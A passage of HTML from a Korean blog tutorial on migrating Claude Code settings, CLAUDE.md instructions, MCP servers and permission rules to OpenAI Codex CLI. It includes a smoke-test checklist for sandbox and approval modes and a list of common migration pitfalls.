&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;~/.claude/settings.json&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;~/.codex/config.toml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;전역 설정 (sandbox, approval, model 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;.mcp.json&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;[mcp_servers.*]&lt;/code&gt; in config.toml&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;MCP 서버 목록 (&amp;sect;5 접힘 박스 참고)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;hooks&lt;/code&gt; in settings.json&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;hooks&lt;/code&gt; in config.toml&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;이벤트 훅 (&amp;sect;4 함정 ② + &amp;sect;5 접힘 박스 참고)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;permission mode&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;default / acceptEdits / plan / auto&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;sandbox_mode&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;approval_policy&lt;/code&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 0.85em; color: #555;&quot;&gt;sandbox_mode: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;read-only&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;workspace-write&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;danger-full-access&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 0.85em; color: #555;&quot;&gt;approval_policy: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;untrusted&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;on-request&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;never&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 4px; border-radius: 3px;&quot;&gt;{ granular = {...} }&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&amp;sect;4 함정 ① 참고 &amp;mdash; 1:1 대응 안 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- ===== §2. CLAUDE.md 3분류 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-2&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. CLAUDE.md를 세 줄기로 나눈다&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLAUDE.md를 한꺼번에 복사하지 말고 내용 유형별로 세 줄기로 분류한 뒤 각자 다른 곳으로 보낸다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nFYCF/dJMcaicjsbH/EKVsPmD67D44Vsa1SEO4jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nFYCF/dJMcaicjsbH/EKVsPmD67D44Vsa1SEO4jk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nFYCF/dJMcaicjsbH/EKVsPmD67D44Vsa1SEO4jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnFYCF%2FdJMcaicjsbH%2FEKVsPmD67D44Vsa1SEO4jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;997&quot; height=&quot;544&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1 &amp;mdash; 개인 취향 &amp;rarr; &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해당하는 내용:&lt;/b&gt; 이름 호칭, 응답 언어, 설명 스타일, &quot;마지막 줄에 요약 추가해줘&quot; 같은 개인 습관&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목적지:&lt;/b&gt; 전역 사용자 지침 파일 &amp;mdash; 내 모든 Codex 세션에 적용된다&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 16px 20px; border-radius: 8px; margin: 16px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 터미널에서 실행&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;ls&lt;/span&gt; ~/.claude/CLAUDE.md &lt;span style=&quot;color: #6c7086;&quot;&gt;# 없으면 이 단계 건너뜀&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;mkdir&lt;/span&gt; -p ~/.codex&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;cat&lt;/span&gt; ~/.claude/CLAUDE.md&lt;br /&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 개인 취향 부분만 복사해서 아래 파일에 붙여넣기&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;nano&lt;/span&gt; ~/.codex/AGENTS.md&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f8ff; border-left: 4px solid #4a9eff; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;  개인 취향 예시&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;응답은 한국어로 해줘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 변경 전에 한 줄로 계획 먼저 말해줘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;파일 수정 후 변경 요약을 마지막에 덧붙여줘&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2 &amp;mdash; 팀 컨벤션 &amp;rarr; 프로젝트 루트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해당하는 내용:&lt;/b&gt; 코드 스타일, 브랜치 전략, 테스트 방침, 프레임워크 컨벤션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목적지:&lt;/b&gt; 프로젝트 루트 AGENTS.md &amp;mdash; Git에 커밋해서 팀과 공유한다&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 16px 20px; border-radius: 8px; margin: 16px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 프로젝트 루트에서 실행&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;ls&lt;/span&gt; .claude/CLAUDE.md &lt;span style=&quot;color: #6c7086;&quot;&gt;# 없으면 이 단계 건너뜀&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;cat&lt;/span&gt; .claude/CLAUDE.md&lt;br /&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 팀 컨벤션 부분만 복사 &amp;rarr; 아래 파일에 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;nano&lt;/span&gt; AGENTS.md&lt;br /&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;git&lt;/span&gt; add AGENTS.md &amp;amp;&amp;amp; git commit -m &quot;chore: add Codex AGENTS.md&quot;&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;trusted project 필수&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 루트 AGENTS.md는 &lt;b&gt;trusted project&lt;/b&gt;에서만 자동 적용된다. 외부에서 clone한 프로젝트는 untrusted로 간주되어 프로젝트 설정이 무시된다. 자세한 신뢰 설정은 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3 &amp;mdash; 위험 지시는 보류 또는 폐기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해당하는 내용:&lt;/b&gt; 권한 우회 지시, 자동 승인 설정, subagent 위임 설정, 실험적 플래그&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;처리 방침:&lt;/b&gt; 복사하지 말고 Codex의 sandbox&amp;middot;approval&amp;middot;Rules 체계로 새로 설계한다 (&amp;sect;4 함정 ① ③ 참고)&lt;/p&gt;
&lt;div style=&quot;background-color: #ffebee; border-left: 4px solid #d32f2f; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보류해야 할 지시 예시&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px;&quot;&gt;allowedTools&lt;/code&gt; 목록 전체 (&amp;rarr; Codex Rules의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px;&quot;&gt;prefix_rule&lt;/code&gt;로 재설계)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px;&quot;&gt;bypassPermissions: true&lt;/code&gt; (&amp;rarr; Codex에선 sandbox 모드로 대응)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;subagent에게 모든 파일 접근 권한 줘&quot; 류의 지시 (&amp;rarr; &amp;sect;4 함정 ③ 참고)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ===== §3. Smoke Test ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-3&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 5분 Smoke Test &amp;mdash; 설정이 작동하는지 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정을 옮긴 뒤 바로 실제 코드를 맡기지 말고, 아래 항목을 순서대로 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 바꾸지 않는 작업으로 sandbox와 approval 정책이 의도대로 작동하는지 검증하는 게 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전제:&lt;/b&gt; 2번 섹션의 결과물(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;, 프로젝트 루트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;) 이 준비된 상태에서 시작한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;Smoke Test 체크리스트&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;[ ] 1. AGENTS.md 위치 확인&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 12px 16px; border-radius: 6px; margin: 8px 0 16px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto;&quot;&gt;ls ~/.codex/AGENTS.md &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 개인 지침&lt;/span&gt;&lt;br /&gt;ls ./AGENTS.md &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 프로젝트 지침 (프로젝트 루트에서)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과:&lt;/b&gt; 두 파일 모두 존재하면 Codex가 세션 시작 시 자동으로 읽는다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 16px 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;[ ] 2. 첫 실행(읽기 작업만)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 12px 16px; border-radius: 6px; margin: 8px 0 16px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 프로젝트 루트에서 실행해야 ./AGENTS.md가 적용됨&lt;/span&gt;&lt;br /&gt;cd &amp;lt;프로젝트-루트&amp;gt;&lt;br /&gt;codex &lt;span style=&quot;color: #6c7086;&quot;&gt;# 실행 후 AGENTS.md 내용 요약해줘라고 요청&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과:&lt;/b&gt; Codex가 AGENTS.md를 읽어 내용을 요약해 응답한다. 응답 스타일이 개인 지침을 따르는지 확인한다. &lt;b&gt;루트가 아닌 곳에서 실행하면 프로젝트 AGENTS.md가 적용되지 않으므로 응답에서 빠지면 위치를 다시 확인한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 16px 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;[ ] 3. sandbox 모드 확인&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt;가 있다면, 세션에서 파일 쓰기 요청 시 approval_policy대로 멈추는지 확인한다&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 12px 16px; border-radius: 6px; margin: 8px 0 16px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# ~/.codex/config.toml 예시&lt;/span&gt;&lt;br /&gt;sandbox_mode = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;workspace-write&quot;&lt;/span&gt;&lt;br /&gt;approval_policy = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;on-request&quot;&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과:&lt;/b&gt; 파일 쓰기 도구 호출 전에 &quot;허용할까요?&quot; 승인 요청이 뜬다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 16px 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;[ ] 4. MCP 연결 확인 (MCP를 옮긴 경우만)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 12px 16px; border-radius: 6px; margin: 8px 0 8px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# TUI 안에서 입력&lt;/span&gt;&lt;br /&gt;/mcp &lt;span style=&quot;color: #6c7086;&quot;&gt;# 연결된 MCP 서버 목록과 상태 확인&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# 그 다음 MCP 도구 하나를 자연어로 호출 (예: &quot;filesystem MCP로 현재 폴더 ls 해줘&quot;)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과:&lt;/b&gt; 정상이면 도구 응답이 반환된다. 실패하면 보통 &lt;b&gt;auth &amp;middot; headers &amp;middot; env_vars &amp;middot; transport&lt;/b&gt; 중 하나의 import 누락이다 &amp;mdash; config.toml의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[mcp_servers.*]&lt;/code&gt; 섹션을 &amp;sect;5 접힘 박스 기준으로 다시 점검한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 16px 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;[ ] 5. 첫 실제 작업 1개 완료&lt;/p&gt;
&lt;ul style=&quot;margin: 4px 0 0 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5-A (read-only 환경):&lt;/b&gt; &quot;현재 디렉토리 구조 설명해줘&quot; 같은 읽기 전용 탐색 1개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5-B (workspace-write 환경):&lt;/b&gt; 단순 파일 생성 1개 (예: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;test.md에 'hello' 한 줄 써줘&lt;/code&gt;) &amp;mdash; approval 요청이 &amp;sect;3-3 기대대로 뜨는지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ===== §4. 함정 3가지 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-4&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 빠지기 쉬운 함정 3가지&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이그레이션 과정에서 자주 만나는 실수를 정리했다. 세 가지 모두 &quot;Claude Code 방식을 그대로 이식하려는&quot; 데서 생긴다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;함정 ① &amp;mdash; permissions allow/deny를 AGENTS.md에 그대로 적지 말 것&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #ffebee;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;잘못된 이식&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;Codex 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #ef9a9a; vertical-align: top;&quot;&gt;AGENTS.md에&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;파일 쓰기는 항상 허용&quot;&lt;/code&gt; 적기&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #e8f5f0; vertical-align: top;&quot;&gt;config.toml에&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt;&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;approval_policy = &quot;on-request&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #ef9a9a; vertical-align: top;&quot;&gt;AGENTS.md에&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;git push는 금지&quot;&lt;/code&gt; 적기&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #e8f5f0; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;~/.codex/rules/default.rules&lt;/code&gt;에&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;prefix_rule(pattern=[&quot;git&quot;,&quot;push&quot;], decision=&quot;forbidden&quot;)&lt;/code&gt;&lt;br /&gt;(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4 참고&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 권한 제어를 자연어 지시로 처리하지 않고, sandbox(파일&amp;middot;네트워크 범위)와 approval(승인 시점)을 config.toml로, 명령별 허용&amp;middot;차단을 Rules로 분리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 적은 권한 지시는 무시되거나 의도치 않게 작동할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;함정 ② &amp;mdash; hooks를 1:1로 이식하지 말 것&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Codex&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;주의&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PreToolUse&lt;/code&gt;&lt;/td&gt;
